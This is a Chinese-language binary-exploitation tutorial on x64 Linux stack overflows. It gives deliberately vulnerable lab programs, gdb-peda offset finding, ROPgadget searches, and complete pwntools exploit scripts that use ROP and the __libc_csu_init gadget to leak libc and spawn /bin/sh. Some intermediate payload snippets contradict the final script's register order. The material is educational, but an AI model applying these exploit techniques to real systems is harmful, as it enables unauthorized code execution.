0x1 linux_64与linux_86的区别
linux_64与linux_86的区别主要有两点:首先是内存地址的范围由32位变成了64位。但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。其次是函数参数的传递方式发生了改变,x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中,如果还有更多的参数的话才会保存在栈上。还是通过实际例子进行讲解吧,level3的程序如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> void callsystem() { system("/bin/sh"); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
|
开启ASLR并用如下的方法编译:
gcc -fno-stack-protector level3.c -o level3
通过分析源码,可以看到想要获取这个程序的shell非常简单,只需要控制PC指针跳转到callsystem()这个函数的地址上即可。因为程序本身在内存中的地址不是随机的,所以不用担心函数的地址会发生改变。接下来就是找找出栈溢出点。
1 2
| gdb-peda$ pattern create 150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
|
运行后输入这段字符串造成程序崩溃。
1 2 3 4 5 6 7
| gdb-peda$ r Starting program: /home/ruirui/Desktop/level3 Hello, World AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA Program received signal SIGSEGV, Segmentation fault. 0x00000000004005e7 in vulnerable_function ()
|
我们可以看到PC指针并没有指向类似于0x41414141那样的地址,而是停在了vulnerable_function()函数中。这是为什么?原因就是程序的使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。但是,虽然PC不能跳转到那个地址,我们依然可以通过栈来计算溢出点。因为ret相当于”pop rip”指令,所以我们只要看一下栈顶的数值就能知道PC跳转的地址了。
1 2
| gdb-peda$ x/gx $rsp 0x7fffffffdec8: 0x41416d4141514141
|
在GDB里,x是查看内存的指令,随后的gx代表数值用64位16进制显示。随后我们就可以用pattern.py来计算溢出点。
1 2
| gdb-peda$ pattern offset 0x41416d4141514141 4702159612987654465 found at offset: 136
|
可以看到溢出点为136字节。我们再构造一次payload,并且跳转到一个小于0x00007fffffffffff的地址,看看这次能否控制pc的指针。
1 2 3 4 5 6 7 8 9 10 11 12 13
| python -c 'print "A"*136' AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gdb-peda$ r Starting program: /home/ruirui/Desktop/level3 Hello, World AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCDEF Program received signal SIGSEGV, Segmentation fault. 0x00000000004005e7 in vulnerable_function () gdb-peda$ x/gx $rsp 0x7fffffffdec8: 0x000a464544434241
|
我们已经成功的控制了PC的指针了。所以最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * elf = ELF('level3') p = process('./level3') #p = remote('127.0.0.1',10001) callsystem = 0x00000000004005b6 payload = "A"*136 + p64(callsystem) p.send(payload) p.interactive()
|
执行后的结果:

0x2 使用工具寻找gadgets
我们之前提到x86中参数都是保存在栈上,但在x64中前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9寄存器里,如果还有更多的参数的话才会保存在栈上。所以我们需要寻找一些类似于pop rdi; ret的这种gadget。如果是简单的gadgets,我们可以通过objdump来查找。但当我们打算寻找一些复杂的gadgets的时候,还是借助于一些查找gadgets的工具比较方便。比较有名的工具有:
1 2 3 4
| ROPEME: https://github.com/packz/ropeme Ropper: https://github.com/sashs/Ropper ROPgadget: https://github.com/JonathanSalwan/ROPgadget/tree/master rp++: https://github.com/0vercl0k/rp
|
下面结合例子讲解,先看一下目标程序的源码level4.c:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"system")); fflush(stdout); } void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { systemaddr(); write(1, "Hello, World\n", 13); vulnerable_function(); }
|
编译方法:
gcc -fno-stack-protector level4.c -o level4 -ldl
首先目标程序会打印system()在内存中的地址,这样的话就不需要我们考虑ASLR的问题了,只需要想办法触发buffer overflow然后利用ROP执行system(“/bin/sh”)。但为了调用system(“/bin/sh”),我们需要找到一个gadget将rdi的值指向“/bin/sh”的地址。于是我们使用ROPGadget搜索一下level4中所有pop ret的gadgets。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| ROPgadget --binary level4 --only "pop|ret" Gadgets information ============================================================ 0x00000000004008ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008ae : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008b0 : pop r14 ; pop r15 ; ret 0x00000000004008b2 : pop r15 ; ret 0x00000000004008ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004008af : pop rbp ; pop r14 ; pop r15 ; ret 0x0000000000400700 : pop rbp ; ret 0x00000000004008b3 : pop rdi ; ret 0x00000000004008b1 : pop rsi ; pop r15 ; ret 0x00000000004008ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400601 : ret 0x0000000000400682 : ret 0x2009 Unique gadgets found: 12
|
我测试的时候在目标程序中找了pop rdi; ret这个gadget。但是这个地址不能用,而libc.so.6中的gadget是可以的,这里困惑了我好久。
1 2 3 4
| ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi 0x0000000000020256 : pop rdi ; pop rbp ; ret 0x0000000000021102 : pop rdi ; ret 0x0000000000067499 : pop rdi ; ret 0xffff
|
现在找到了”pop rdi;ret”这个gadget了。可以开始构造ROP链了:
1
| payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
|
另外,因为我们只需要调用一次system()函数就可以获取shell,所以我们也可以搜索不带ret的gadget来构造ROP链。
1 2 3 4 5 6 7
| ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi 0x0000000000196a6b : call qword ptr [rdi + rbp*2 + 0x7fe40000] 0x000000000019ada3 : call qword ptr [rdi + rbx + 2] 0x000000000007d8b0 : call qword ptr [rdi] 0x0000000000023e56 : call rdi 0x00000000001073d9 : pop rax ; pop rdi ; call rax 0x00000000001073da : pop rdi ; call rax
|
通过搜索结果我们发现,0x00000000001073d9 : pop rax ; pop rdi ; call rax也可以完成我们的目标。首先将rax赋值为system()的地址,rdi赋值为“/bin/sh”的地址,最后再调用call rax即可。
1
| payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
|
也就是说这两个ROP链都可以完成我们的目标,随便选择一个进行攻击即可。最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import * libc = ELF('libc.so.6') p = process('./level4') #p = remote('127.0.0.1',10001) binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system'] print "binsh_addr_offset = " + hex(binsh_addr_offset) pop_ret_offset = 0x0000000000021102 - libc.symbols['system'] print "pop_ret_offset = " + hex(pop_ret_offset) #pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system'] #print "pop_pop_call_offset = " + hex(pop_pop_call_offset) print "\n##########receiving system addr##########\n" system_addr_str = p.recvuntil('\n') system_addr = int(system_addr_str,16) print "system_addr = " + hex(system_addr) binsh_addr = system_addr + binsh_addr_offset print "binsh_addr = " + hex(binsh_addr) pop_ret_addr = system_addr + pop_ret_offset print "pop_ret_addr = " + hex(pop_ret_addr) #pop_pop_call_addr = system_addr + pop_pop_call_offset #print "pop_pop_call_addr = " + hex(pop_pop_call_addr) p.recv() payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr) #payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr) print "\n##########sending payload##########\n" p.send(payload) p.interactive()
|
运行的结果如下:

0x3 通用gadgets
因为程序在编译过程中会加入一些通用函数用来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但是初始化的过程是相同的,因此针对这些初始化函数,我们可以提取一些通用的gadgets加以使用,从而达到我们想要达到的效果。
level3和level4的程序都留了一些辅助函数在程序中,这次我们将这些辅助函数去掉再来挑战一下。目标程序level5.c如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 512); } int main(int argc, char** argv) { write(STDOUT_FILENO, "Hello, World\n", 13); vulnerable_function(); }
|
可以看到这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。那应该怎么办呢?其实在x64下有一些万能的gadgets可以利用。比如说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| 00000000004005c0 <__libc_csu_init>: 4005c0: 41 57 push %r15 4005c2: 41 56 push %r14 4005c4: 41 89 ff mov %edi,%r15d 4005c7: 41 55 push %r13 4005c9: 41 54 push %r12 4005cb: 4c 8d 25 3e 08 20 00 lea 0x20083e(%rip),%r12 # 600e10 <__frame_dummy_init_array_entry> 4005d2: 55 push %rbp 4005d3: 48 8d 2d 3e 08 20 00 lea 0x20083e(%rip),%rbp # 600e18 <__init_array_end> 4005da: 53 push %rbx 4005db: 49 89 f6 mov %rsi,%r14 4005de: 49 89 d5 mov %rdx,%r13 4005e1: 4c 29 e5 sub %r12,%rbp 4005e4: 48 83 ec 08 sub $0x8,%rsp 4005e8: 48 c1 fd 03 sar $0x3,%rbp 4005ec: e8 0f fe ff ff callq 400400 <_init> 4005f1: 48 85 ed test %rbp,%rbp 4005f4: 74 20 je 400616 <__libc_csu_init+0x56> 4005f6: 31 db xor %ebx,%ebx 4005f8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) 4005ff: 00 400600: 4c 89 ea mov %r13,%rdx 400603: 4c 89 f6 mov %r14,%rsi 400606: 44 89 ff mov %r15d,%edi 400609: 41 ff 14 dc callq *(%r12,%rbx,8) 40060d: 48 83 c3 01 add $0x1,%rbx 400611: 48 39 eb cmp %rbp,%rbx 400614: 75 ea jne 400600 <__libc_csu_init+0x40> 400616: 48 83 c4 08 add $0x8,%rsp 40061a: 5b pop %rbx 40061b: 5d pop %rbp 40061c: 41 5c pop %r12 40061e: 41 5d pop %r13 400620: 41 5e pop %r14 400622: 41 5f pop %r15 400624: c3 retq
|
我们可以看到利用0×40061a处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值,随后利用0x400600处的代码我们将r13的值赋值给rdx, r14的值赋值给rsi,r15的值赋值给edi,随后就会调用call qword ptr [r12+rbx*8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx*8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。大概思路就是这样,我们下来构造ROP链。
我们先构造payload1,利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8],所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中,重复利用buffer overflow的漏洞,我们需要继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。
1 2 3 4 5 6 7
| #rdi= edi = r15, rsi = r14, rdx = r13 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x40061a) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x400600) # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)
|
当我们exp在收到write()在内存中的地址后,就可以计算出system()在内存中的地址了。接着我们构造payload2,利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
1 2 3 4 5 6 7
| #rdi= edi = r15, rsi = r14, rdx = r13 #write(rdi=1, rsi=write.got, rdx=4) payload1 = "\x00"*136 payload1 += p64(0x40061a) + p64(0) +p64(0) + p64(1) + p64(got_read) + p64(1) + p64(got_read) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x400600) # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)
|
最后我们构造payload3,调用system()函数执行“/bin/sh”。注意,system()的地址保存在了.bss段首地址上,“/bin/sh”的地址保存在了.bss段首地址+8字节上。
1 2 3 4 5 6 7
| #rdi= edi = r15, rsi = r14, rdx = r13 #system(rdi = bss_addr+8 = "/bin/sh") payload1 = "\x00"*136 payload1 += p64(0x40061a) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x400600) # mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main)
|
最终的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import * #context.log_level='debug' elf = ELF('level5') libc = ELF('libc.so.6') p = process('./level5') #p = remote('127.0.0.1',10001) got_write = elf.got['write'] print "got_write: " + hex(got_write) got_read = elf.got['read'] print "got_read: " + hex(got_read) main = 0x400587 off_system_addr = libc.symbols['write'] - libc.symbols['system'] print "off_system_addr: " + hex(off_system_addr) #rdi= edi = r13, rsi = r14, rdx = r15 #write(rdi=1, rsi=write.got, rdx=8) payload1 = "\x00"*136 payload1 += p64(0x40061a) + p64(0) + p64(1) + p64(got_write) + p64(8) + p64(got_write) + p64(1) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload1 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload1 += "\x00"*56 payload1 += p64(main) p.recvuntil("Hello, World\n") print "\n#############sending payload1#############\n" p.send(payload1) sleep(1) #data=p.recv() data=p.recv(8) print data write_addr = u64(data) print "write_addr: " + hex(write_addr) system_addr = write_addr - off_system_addr print "system_addr: " + hex(system_addr) bss_addr=0x601040 p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #read(rdi=0, rsi=bss_addr, rdx=16) payload2 = "\x00"*136 payload2 += p64(0x40061a) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload2 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload2 += "\x00"*56 payload2 += p64(main) print "\n#############sending payload2#############\n" p.send(payload2) sleep(1) p.send(p64(system_addr)) p.send("/bin/sh\0") sleep(1) p.recvuntil("Hello, World\n") #rdi= edi = r13, rsi = r14, rdx = r15 #system(rdi = bss_addr+8 = "/bin/sh") payload3 = "\x00"*136 payload3 += p64(0x40061a) + p64(0)+ p64(1) + p64(bss_addr) + p64(0) + p64(0)+ p64(bss_addr+8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret payload3 += p64(0x400600) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8] payload3 += "\x00"*56 payload3 += p64(main) print "\n#############sending payload3#############\n" #sleep(1) p.send(payload3) p.interactive()
|
执行后的结果:
